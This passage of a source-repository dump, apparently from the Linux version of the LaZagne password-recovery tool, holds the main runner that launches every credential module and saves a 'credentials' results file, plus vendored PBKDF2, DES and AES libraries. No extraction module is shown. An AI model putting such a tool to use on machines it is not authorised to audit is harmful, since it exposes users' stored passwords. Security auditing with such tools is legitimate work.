all_categories[c]['subparser'] += tmp # ------------------------------------------- Print all ------------------------------------------- parents = [PPoptional] + all_subparser + [PWrite] dic = {'all': {'parents': parents, 'help': 'Run all modules'}} for c in all_categories: parser_tab = [PPoptional, all_categories[c]['parser']] if 'subparser' in all_categories[c]: if all_categories[c]['subparser']: parser_tab += all_categories[c]['subparser'] parser_tab += [PWrite] dic_tmp = {c: {'parents': parser_tab, 'help': 'Run %s module' % c}} dic.update(dic_tmp) # 2- Main commands subparsers = parser.add_subparsers(help='Choose a main command') for d in dic: subparsers.add_parser(d, parents=dic[d]['parents'], help=dic[d]['help']).set_defaults(auditType=d) # ------------------------------------------- Parse arguments ------------------------------------------- # By default, launch all modules if len(sys.argv) == 1: args = { 'verbose': 0, 'quiet': False, 'password': None, 'write_normal': None, 'write_json': None, 'write_all': None, 'output': '.', 'auditType': 'all' } else: args = dict(parser.parse_args()._get_kwargs()) # arguments = parser.parse_args() # Define constant variables output( output_dir=args['output'], txt_format=args['write_normal'], json_format=args['write_json'], all_format=args['write_all'] ) verbosity(verbose=args['verbose']) quiet_mode(is_quiet_mode=args['quiet']) # Print the title constant.st.first_title() start_time = time.time() category = args['auditType'] subcategories = clean_args(args) for run in runLaZagne(category, subcategories): pass write_in_file(constant.stdout_result) constant.st.print_footer(elapsed_time=str(time.time() - start_time)) ================================================ FILE: Linux/lazagne/__init__.py ================================================ ================================================ FILE: Linux/lazagne/config/__init__.py ================================================ ================================================ FILE: Linux/lazagne/config/constant.py ================================================ #!/usr/bin/env python # -*- encoding: utf-8 -*- import sys import time date = time.strftime("%d%m%Y_%H%M%S") class constant(): folder_name = 'results_{current_time}'.format(current_time=date) file_name_results = 'credentials' # The extension is added depending on the user output choice max_help = 27 CURRENT_VERSION = '2.4.3' output = None file_logger = None verbose = False nb_password_found = 0 # Total password found password_found = [] stdout_result = [] # Tab containing all results by user finalResults = {} quiet_mode = False st = None # Standard output modules_dic = {} chrome_storage = [] # Retrieved from libsecrets module if sys.version_info[0]: python_version = sys.version_info[0] ================================================ FILE: Linux/lazagne/config/crypto/__init__.py ================================================ ================================================ FILE: Linux/lazagne/config/crypto/pbkdf2.py ================================================ #!/usr/bin/python # A simple implementation of pbkdf2 using stock python modules. See RFC2898 # for details. Basically, it derives a key from a password and salt. # (c) 2004 Matt Johnston # This code may be freely used and modified for any purpose. import hmac import hashlib import sys from struct import pack BLOCKLEN = 20 def char_to_int(string): if sys.version_info[0] == 2 or isinstance(string, str): return ord(string) else: return string # Python 3 def chr_or_byte(integer): if sys.version_info[0] == 2: return chr(integer) else: return bytes([integer]) # Python 3 # this is what you want to call. def pbkdf2(password, salt, itercount, keylen): # l - number of output blocks to produce l = keylen / BLOCKLEN if keylen % BLOCKLEN != 0: l += 1 h = hmac.new(password, None, hashlib.sha1) T = b'' for i in range(1, int(l) + 1): T += pbkdf2_F(h, salt, itercount, i) return T[: -(BLOCKLEN - keylen % BLOCKLEN)] def xorstr(a, b): if len(a) != len(b): raise "xorstr(): lengths differ" ret = b'' for i in range(len(a)): ret += chr_or_byte(char_to_int(a[i]) ^ char_to_int(b[i])) return ret def prf(h, data): hm = h.copy() hm.update(data) return hm.digest() # Helper as per the spec. h is a hmac which has been created seeded with the # password, it will be copy()ed and not modified. def pbkdf2_F(h, salt, itercount, blocknum): U = prf(h, salt + pack('>i', blocknum)) T = U for i in range(2, itercount + 1): U = prf(h, U) T = xorstr(T, U) return T ================================================ FILE: Linux/lazagne/config/crypto/pyDes.py ================================================ ############################################################################# # Documentation # ############################################################################# # Author: Todd Whiteman # Date: 28th April, 2010 # Version: 2.0.1 # License: MIT # Homepage: http://twhiteman.netfirms.com/des.html # # This is a pure python implementation of the DES encryption algorithm. # It's pure python to avoid portability issues, since most DES # implementations are programmed in C (for performance reasons). # # Triple DES class is also implemented, utilizing the DES base. Triple DES # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. # # See the README.txt that should come with this python module for the # implementation methods used. # # Thanks to: # * David Broadwell for ideas, comments and suggestions. # * Mario Wolff for pointing out and debugging some triple des CBC errors. # * Santiago Palladino for providing the PKCS5 padding technique. # * Shaya for correcting the PAD_PKCS5 triple des CBC errors. # """A pure python implementation of the DES and TRIPLE DES encryption algorithms. Class initialization -------------------- pyDes.des(key, [mode], [IV], [pad], [padmode]) pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes for Triple DES mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Length must be 8 bytes. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. I recommend to use PAD_PKCS5 padding, as then you never need to worry about any padding issues, as the padding can be removed unambiguously upon decrypting data that was encrypted using PAD_PKCS5 padmode. Common methods -------------- encrypt(data, [pad], [padmode]) decrypt(data, [pad], [padmode]) data -> Bytes to be encrypted/decrypted pad -> Optional argument. Only when using padmode of PAD_NORMAL. For encryption, adds this characters to the end of the data block when data is not a multiple of 8 bytes. For decryption, will remove the trailing characters that match this pad character from the last 8 bytes of the unencrypted data block. padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL or PAD_PKCS5). Defaults to PAD_NORMAL. Example ------- from pyDes import * data = "Please encrypt my data" k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) # For Python3, you'll need to use bytes, i.e.: # data = b"Please encrypt my data" # k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) d = k.encrypt(data) print "Encrypted: %r" % d print "Decrypted: %r" % k.decrypt(d) assert k.decrypt(d, padmode=PAD_PKCS5) == data See the module source (pyDes.py) for more examples of use. You can also run the pyDes.py file without and arguments to see a simple test. Note: This code was not written for high-end systems needing a fast implementation, but rather a handy portable solution with small usage. """ import sys # _pythonMajorVersion is used to handle Python2 and Python3 differences. _pythonMajorVersion = sys.version_info[0] # Modes of crypting / cyphering ECB = 0 CBC = 1 # Modes of padding PAD_NORMAL = 1 PAD_PKCS5 = 2 # PAD_PKCS5: is a method that will unambiguously remove all padding # characters after decryption, when originally encrypted with # this padding mode. # For a good description of the PKCS5 padding technique, see: # http://www.faqs.org/rfcs/rfc1423.html # The base class shared by des and triple des. class _baseDes(object): def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): if IV: IV = self._guardAgainstUnicode(IV) if pad: pad = self._guardAgainstUnicode(pad) self.block_size = 8 # Sanity checking of arguments. if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if IV and len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") # Set the passed in variables self._mode = mode self._iv = IV self._padding = pad self._padmode = padmode def getKey(self): """getKey() -> bytes""" return self.__key def setKey(self, key): """Will set the crypting key for this object.""" key = self._guardAgainstUnicode(key) self.__key = key def getMode(self): """getMode() -> pyDes.ECB or pyDes.CBC""" return self._mode def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" self._mode = mode def getPadding(self): """getPadding() -> bytes of length 1. Padding character.""" return self._padding def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" if pad is not None: pad = self._guardAgainstUnicode(pad) self._padding = pad def getPadMode(self): """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" return self._padmode def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" self._padmode = mode def getIV(self): """getIV() -> bytes""" return self._iv def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" if not IV or len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") IV = self._guardAgainstUnicode(IV) self._iv = IV def _padData(self, data, pad, padmode): # Pad data depending on the mode if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode == PAD_NORMAL: if len(data) % self.block_size == 0: # No padding required. return data if not pad: # Get the default padding. pad = self.getPadding() if not pad: raise ValueError("Data must be a multiple of " + str( self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") data += (self.block_size - (len(data) % self.block_size)) * pad elif padmode == PAD_PKCS5: pad_len = 8 - (len(data) % self.block_size) if _pythonMajorVersion < 3: data += pad_len * chr(pad_len) else: data += bytes([pad_len] * pad_len) return data def _unpadData(self, data, pad, padmode): # Unpad data depending on the mode. if not data: return data if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if padmode == PAD_NORMAL: if not pad: # Get the default padding. pad = self.getPadding() if pad: data = data[:-self.block_size] + \ data[-self.block_size:].rstrip(pad) elif padmode == PAD_PKCS5: if _pythonMajorVersion < 3: pad_len = ord(data[-1]) else: pad_len = data[-1] data = data[:-pad_len] return data def _guardAgainstUnicode(self, data): # Only accept byte strings or ascii unicode values, otherwise # there is no way to correctly decode the data into bytes. if _pythonMajorVersion < 3: if isinstance(data, unicode): # noqa raise ValueError("pyDes can only work with bytes, not Unicode strings.") else: if isinstance(data, str): # Only accept ascii unicode values. try: return data.encode('ascii') except UnicodeEncodeError: pass raise ValueError("pyDes can only work with encoded strings, not Unicode.") return data ############################################################################# # DES # ############################################################################# class des(_baseDes): """DES encryption/decrytpion class Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key,[mode], [IV]) key -> Bytes containing the encryption key, must be exactly 8 bytes mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. """ # Permutation and translation tables for DES __pc1 = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ] # number left rotations of pc1 __left_rotations = [ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ] # permuted choice key (table 2) __pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 ] # initial permutation IP __ip = [57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ] # Expansion table for turning 32 bit blocks into 48 bits __expansion_table = [ 31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ] # The (in)famous S-boxes __sbox = [ # S1 [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], ] # 32-bit permutation function P used on the output of the S-boxes __p = [ 15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23, 13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ] # final permutation IP^-1 __fp = [ 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24 ] # Type of crypting being done ENCRYPT = 0x00 DECRYPT = 0x01 # Initialisation def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): # Sanity checking of arguments. if len(key) != 8: raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") _baseDes.__init__(self, mode, IV, pad, padmode) self.key_size = 8 self.L = [] self.R = [] self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16) self.final = [] self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Must be 8 bytes.""" _baseDes.setKey(self, key) self.__create_sub_keys() def __String_to_BitList(self, data): """Turn the string data, into a list of bits (1, 0)'s""" if _pythonMajorVersion < 3: # Turn the strings into integers. Python 3 uses a bytes # class, which already has this behaviour. data = [ord(c) for c in data] l = len(data) * 8 result = [0] * l pos = 0 for ch in data: i = 7 while i >= 0: if ch & (1 << i) != 0: result[pos] = 1 else: result[pos] = 0 pos += 1 i -= 1 return result def __BitList_to_String(self, data): """Turn the list of bits -> data, into a string""" result = [] pos = 0 c = 0 while pos < len(data): c += data[pos] << (7 - (pos % 8)) if (pos % 8) == 7: result.append(c) c = 0 pos += 1 if _pythonMajorVersion < 3: return ''.join([chr(c) for c in result]) else: return bytes(result) def __permutate(self, table, block): """Permutate this block with the specified table""" return list(map(lambda x: block[x], table)) # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] def __create_sub_keys(self): """Create the 16 subkeys K[1] to K[16] from the given key""" key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) i = 0 # Split into Left and Right sections self.L = key[:28] self.R = key[28:] while i < 16: j = 0 # Perform circular left shifts while j < des.__left_rotations[i]: self.L.append(self.L[0]) del self.L[0] self.R.append(self.R[0]) del self.R[0] j += 1 # Create one of the 16 subkeys through pc2 permutation self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) i += 1 # Main part of the encryption algorithm, the number cruncher :) def __des_crypt(self, block, crypt_type): """Crypt the block of data through DES bit-manipulation""" block = self.__permutate(des.__ip, block) self.L = block[:32] self.R = block[32:] # Encryption starts from Kn[1] through to Kn[16] if crypt_type == des.ENCRYPT: iteration = 0 iteration_adjustment = 1 # Decryption starts from Kn[16] down to Kn[1] else: iteration = 15 iteration_adjustment = -1 i = 0 while i < 16: # Make a copy of R[i-1], this will later become L[i] tempR = self.R[:] # Permutate R[i - 1] to start creating R[i] self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above # j = 0 # B = [] # while j < len(self.R): # self.R[j] = self.R[j] ^ self.Kn[iteration][j] # j += 1 # if j % 6 == 0: # B.append(self.R[j-6:j]) # Permutate B[1] to B[8] using the S-Boxes j = 0 Bn = [0] * 32 pos = 0 while j < 8: # Work out the offsets m = (B[j][0] << 1) + B[j][5] n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] # Find the permutation value v = des.__sbox[j][(m << 4) + n] # Turn value into bits, add it to result: Bn Bn[pos] = (v & 8) >> 3 Bn[pos + 1] = (v & 4) >> 2 Bn[pos + 2] = (v & 2) >> 1 Bn[pos + 3] = v & 1 pos += 4 j += 1 # Permutate the concatination of B[1] to B[8] (Bn) self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) # Optimization: This now replaces the below commented code # j = 0 # while j < len(self.R): # self.R[j] = self.R[j] ^ self.L[j] # j += 1 # L[i] becomes R[i - 1] self.L = tempR i += 1 iteration += iteration_adjustment # Final permutation of R[16]L[16] self.final = self.__permutate(des.__fp, self.R + self.L) return self.final # Data to be encrypted/decrypted def crypt(self, data, crypt_type): """Crypt the data in blocks, running it through des_crypt()""" # Error check the data if not data: return '' if len(data) % self.block_size != 0: if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks raise ValueError( "Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") if not self.getPadding(): raise ValueError("Invalid data length, data must be a multiple of " + str( self.block_size) + " bytes\n. Try setting the optional padding character") else: data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() # print "Len of data: %f" % (len(data) / self.block_size) if self.getMode() == CBC: if self.getIV(): iv = self.__String_to_BitList(self.getIV()) else: raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") # Split the data into blocks, crypting each one seperately i = 0 dict = {} result = [] # cached = 0 # lines = 0 while i < len(data): # Test code for caching encryption results # lines += 1 # if dict.has_key(data[i:i+8]): # print "Cached result for: %s" % data[i:i+8] # cached += 1 # result.append(dict[data[i:i+8]]) # i += 8 # continue block = self.__String_to_BitList(data[i:i + 8]) # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: block = list(map(lambda x, y: x ^ y, block, iv)) # j = 0 # while j < len(block): # block[j] = block[j] ^ iv[j] # j += 1 processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) # j = 0 # while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] # j += 1 iv = block else: iv = processed_block else: processed_block = self.__des_crypt(block, crypt_type) # Add the resulting crypted block to our list # d = self.__BitList_to_String(processed_block) # result.append(d) result.append(self.__BitList_to_String(processed_block)) # dict[data[i:i+8]] = d i += 8 # print "Lines: %d, cached: %d" % (lines, cached) # Return the full crypted string if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : Bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self._padData(data, pad, padmode) return self.crypt(data, des.ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : Bytes to be decrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self.crypt(data, des.DECRYPT) return self._unpadData(data, pad, padmode) ############################################################################# # Triple DES # ############################################################################# class triple_des(_baseDes): """Triple DES encryption/decrytpion class This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or the DES-EDE2 (when a 16 byte key is supplied) encryption methods. Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key, [mode], [IV]) key -> Bytes containing the encryption key, must be either 16 or 24 bytes long mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. """ def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): _baseDes.__init__(self, mode, IV, pad, padmode) self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Either 16 or 24 bytes long.""" self.key_size = 24 # Use DES-EDE3 mode if len(key) != self.key_size: if len(key) == 16: # Use DES-EDE2 mode self.key_size = 16 else: raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") if self.getMode() == CBC: if not self.getIV(): # Use the first 8 bytes of the key self._iv = key[:self.block_size] if len(self.getIV()) != self.block_size: raise ValueError("Invalid IV, must be 8 bytes in length") self.__key1 = des(key[:8], self._mode, self._iv, self._padding, self._padmode) self.__key2 = des(key[8:16], self._mode, self._iv, self._padding, self._padmode) if self.key_size == 16: self.__key3 = self.__key1 else: self.__key3 = des(key[16:], self._mode, self._iv, self._padding, self._padmode) _baseDes.setKey(self, key) # Override setter methods to work on all 3 keys. def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" _baseDes.setMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setMode(mode) def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" _baseDes.setPadding(self, pad) for key in (self.__key1, self.__key2, self.__key3): key.setPadding(pad) def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" _baseDes.setPadMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setPadMode(mode) def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" _baseDes.setIV(self, IV) for key in (self.__key1, self.__key2, self.__key3): key.setIV(IV) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) # Pad the data accordingly. data = self._padData(data, pad, padmode) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): block = self.__key1.crypt(data[i:i + 8], ENCRYPT) block = self.__key2.crypt(block, DECRYPT) block = self.__key3.crypt(block, ENCRYPT) self.__key1.setIV(block) self.__key2.setIV(block) self.__key3.setIV(block) result.append(block) i += 8 if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) else: data = self.__key1.crypt(data, ENCRYPT) data = self.__key2.crypt(data, DECRYPT) return self.__key3.crypt(data, ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting, no pad character is required for PAD_PKCS5. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): iv = data[i:i + 8] block = self.__key3.crypt(iv, DECRYPT) block = self.__key2.crypt(block, ENCRYPT) block = self.__key1.crypt(block, DECRYPT) self.__key1.setIV(iv) self.__key2.setIV(iv) self.__key3.setIV(iv) result.append(block) i += 8 if _pythonMajorVersion < 3: data = ''.join(result) else: data = bytes.fromhex('').join(result) else: data = self.__key3.crypt(data, DECRYPT) data = self.__key2.crypt(data, ENCRYPT) data = self.__key1.crypt(data, DECRYPT) return self._unpadData(data, pad, padmode) ================================================ FILE: Linux/lazagne/config/crypto/pyaes/__init__.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # This is a pure-Python implementation of the AES algorithm and AES common # modes of operation. # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation # Supported key sizes: # 128-bit # 192-bit # 256-bit # Supported modes of operation: # ECB - Electronic Codebook # CBC - Cipher-Block Chaining # CFB - Cipher Feedback # OFB - Output Feedback # CTR - Counter # See the README.md for API details and general information. # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: # https://www.dlitz.net/software/pycrypto/ VERSION = [1, 3, 0] from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter from .blockfeeder import PADDING_NONE, PADDING_DEFAULT ================================================ FILE: Linux/lazagne/config/crypto/pyaes/aes.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without 